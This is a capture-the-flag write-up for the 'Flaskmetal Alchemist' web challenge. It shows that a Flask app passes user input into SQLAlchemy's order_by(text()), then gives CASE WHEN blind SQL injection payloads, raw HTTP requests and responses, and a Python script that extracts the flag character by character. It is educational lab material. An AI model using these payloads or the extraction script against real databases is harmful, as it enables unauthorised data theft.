# Flaskmetal Alchemist**Category: Web**
This site is a tool that lets you filter elements.

The source was provided:
### `database.py`
```pythonfrom sqlalchemy import create_enginefrom sqlalchemy.orm import scoped_session, sessionmakerfrom sqlalchemy.ext.declarative import declarative_base
engine = create_engine("sqlite:////tmp/test.db")db_session = scoped_session(    sessionmaker(autocommit=False, autoflush=False, bind=engine))Base = declarative_base()Base.query = db_session.query_property()
def init_db():    Base.metadata.create_all(bind=engine)```
The takeaway here is that we are dealing with a `sqlite` database.
### `models.py`
```pythonfrom database import Basefrom sqlalchemy import Column, Integer, String
class Metal(Base):    __tablename__ = "metals"    atomic_number = Column(Integer, primary_key=True)    symbol = Column(String(3), unique=True, nullable=False)    name = Column(String(40), unique=True, nullable=False)
    def __init__(self, atomic_number=None, symbol=None, name=None):        self.atomic_number = atomic_number        self.symbol = symbol self.name = name
class Flag(Base):    __tablename__ = "flag"    flag = Column(String(40), primary_key=True)
    def __init__(self, flag=None):        self.flag = flag```
Here we see that we have a `metals` table with a column for `atomic_number`, `symbol`, and `name`, and a `flag` table with a column for a `flag` value.
### `app.py`
```pythonfrom flask import Flask, render_template, request, url_for, redirectfrom models import Metalfrom database import db_session, init_dbfrom seed import seed_dbfrom sqlalchemy import text
app = Flask(__name__)app.config["TEMPLATES_AUTO_RELOAD"] = Trueapp.config['TESTING'] = True
@app.teardown_appcontextdef shutdown_session(exception=None):    db_session.remove()
@app.route("/", methods=["GET", "POST"])def index():    if request.method == "POST":        search = ""        order = None        if "search" in request.form:            search = request.form["search"]        if "order" in request.form:            order = request.form["order"]        if order is None:            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))        else:            metals = Metal.query.filter(                Metal.name.like("%{}%".format(search))            ).order_by(text(order))        return render_template("home.html", metals=metals)    else:        metals = Metal.query.all()        return render_template("home.html", metals=metals)
if __name__ == "__main__":    seed_db()    app.run(debug=True)```
The part to focus on is the query that executes when sending your parameters in a `POST` operation:
```pythonmetals = Metal.query.filter(    Metal.name.like("%{}%".format(search))).order_by(text(order))```
The `like` function is protected against injection, but the `order_by` is not. The query will expand to look like:
```sqlSELECT metals.atomic_number AS metals_atomic_number, metals.symbol AS metals_symbol, metals.name AS metals_nameFROM metalsWHERE metals.name LIKE ? ORDER BY <Injection Point>```
We can perform a blind SQL injection by changing the sort order if a condition is met. Let's craft a SQL payload for the `ORDER BY` to test this with the first character of the flag. (We know the flag format is `flag{...}`, which means we can test with `f`.) If this works, we will be able to extract the entire flag one character at a time.
```sqlCASEWHEN (SELECT SUBSTR(flag,1,1) FROM flag)='f'  THEN atomic_number ELSE   symbol END```
Sent as a `POST`:
```httpPOST / HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 98
search=&order=CASE+WHEN+(SELECT+SUBSTR(flag,1,1)+FROM+flag)='f'+THEN+atomic_number+ELSE+symbol+END``````html...<tr>    <td style="width:20%">3</td>    <td style="width:10%">Li</td>    <td>Lithium</td></tr>
<tr>    <td style="width:20%">4</td>    <td style="width:10%">Be</td>    <td>Beryllium</td></tr>
<tr>    <td style="width:20%">11</td>    <td style="width:10%">Na</td>    <td>Sodium</td></tr>...```
The data was sorted by the atomic number, as we expected. We can test with an incorrect character at the same index to confirm that this exploit will work:
```httpPOST / HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 98
search=&order=CASE+WHEN+(SELECT+SUBSTR(flag,1,1)+FROM+flag)='Z'+THEN+atomic_number+ELSE+symbol+END```
```html...<tr>    <td style="width:20%">89</td>    <td style="width:10%">Ac</td>    <td>Actinium</td></tr>
<tr>    <td style="width:20%">47</td>    <td style="width:10%">Ag</td>    <td>Silver</td></tr>
<tr>    <td style="width:20%">13</td>    <td style="width:10%">Al</td>    <td>Aluminum</td></tr>...```
This time, the sort was by the `symbol`, which proves our injection worked properly. The next thing to do is to write a script to pull all the flag characters:
```python#!/usr/bin/env python3
from requests import postfrom string import ascii_lowercase
URL = 'http://challenge.nahamcon.com:30702'ALPHABET = ascii_lowercase + '{}_'INJECTION = "CASE WHEN (SELECT SUBSTR(flag,{},1) FROM flag)='{}' THEN atomic_number ELSE symbol END"
flag = ''index = 1while True:    for char in ALPHABET:        response = post(URL, data={ 'search': '', 'order': INJECTION.format(index, char) })        # The first atomic symbol appears on index 74 of the response (split by newlines).        # If that is Li (which has an atomic number of 3), then we sorted by atomic number.        first_atomic_symbol = response.text.split('\n')[74]        if 'Li' in first_atomic_symbol:            flag += char            index += 1            break    print(flag)    if flag[-1] == '}':        break```
```$ ./exploit.pyfflflaflagflag{flag{oflag{orflag{ordflag{ordeflag{orderflag{order_flag{order_bflag{order_byflag{order_by_flag{order_by_bflag{order_by_blflag{order_by_bliflag{order_by_blinflag{order_by_blindflag{order_by_blind}```